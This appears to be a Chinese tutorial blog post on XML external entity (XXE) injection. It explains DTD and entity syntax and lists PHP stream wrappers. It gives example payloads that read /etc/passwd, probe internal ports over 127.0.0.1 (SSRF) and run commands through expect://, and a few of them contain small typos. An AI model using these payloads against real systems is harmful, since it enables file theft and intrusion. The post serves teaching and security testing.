zoukankan      html  css  js  c++  java
  • XXE 咖面-六娃

    XXE 概述

    • XXE也叫做XML外部实体注入[XML External Entity] , 当XML允许引用外部实体并解析时,会导致攻击者构造恶意实体的payloadj进行攻注入攻击,导致攻击者可以读取任意文件、执行命令、攻击网站、以及进行SSRF攻击等

    XML基础

    • XML声明: < ?xml version="1.0" encoding= "utf-8"?>

    • 内部DTD声明: <!DOCTYPE根元素名称[元素声明] >

    • 外部实体声明: <!ENTITY实体名称SYSTEM "URI/URL" >

    <?xml version="1.0" encoding="utf-8"?>
    <!DOCTYPE a[
    <!ENTITY testSYSTEM "php协议">
    ]>
    

    PHP协议概述

    • 进行XXE漏洞测试时,除了一些基本的XML基础.根据不同的环境,需要了解不同的协议,如PHP协议:
    • PHP支持的协议: file:// http:// ft:// php:// zlib:// data:// glob:// phar:// ssh2:// rar:// ogg:// expect://

    xml危害一 [任意文件的读取]

    <!--先定义 -->
    <?xml version="1.0" encoding="utf-8"?>
    <!DOCTYPE a[
    <!ENTITY test SYSTEM "file:///etc/passwd">
    ]>
    <!--再引用 -->
    <x>&test</x>
    
    • 读取php文件:先对文件内容base64编码

    ssrf [内网探测]

    <?xml version="1.0" encoding= "utf-8"?> <!DOCTYPE a [ <!ENTITY b SYSTEM "http://127.0.0.1:3306*> ]> <c>&b;</c>
    
    <?xml version="1.0" encoding="utf-8"?> <!DOCTYPEa[ <!ENTITY b SYSTEM "http://127.0.0.1/1.txt"> ]> <c>&b;</c>
    

    命令执行

    • expect:// 处理交互式的流 (默认不按照的)
    <?xml version="1.0" encoding= "utf-8"?> <!DOCTYPE a [ <!ENTITY b SYSTEM "expect://./test"> ]> <c>&b;</c>
    
  • 相关阅读:
    k8s pod 定义 文件 yaml
    动态规划(1)
    Angular封装WangEditor富文本组件
    使用Angular CDK实现一个Service弹出Toast组件
    让Angular自定义组件支持form表单验证
    等了半年,m1芯片原生支持的.NET IDE出现了
    eachrt
    dgy
    开源节流
    company
  • 原文地址:https://www.cnblogs.com/l0nmar/p/12822681.html
Copyright © 2011-2022 走看看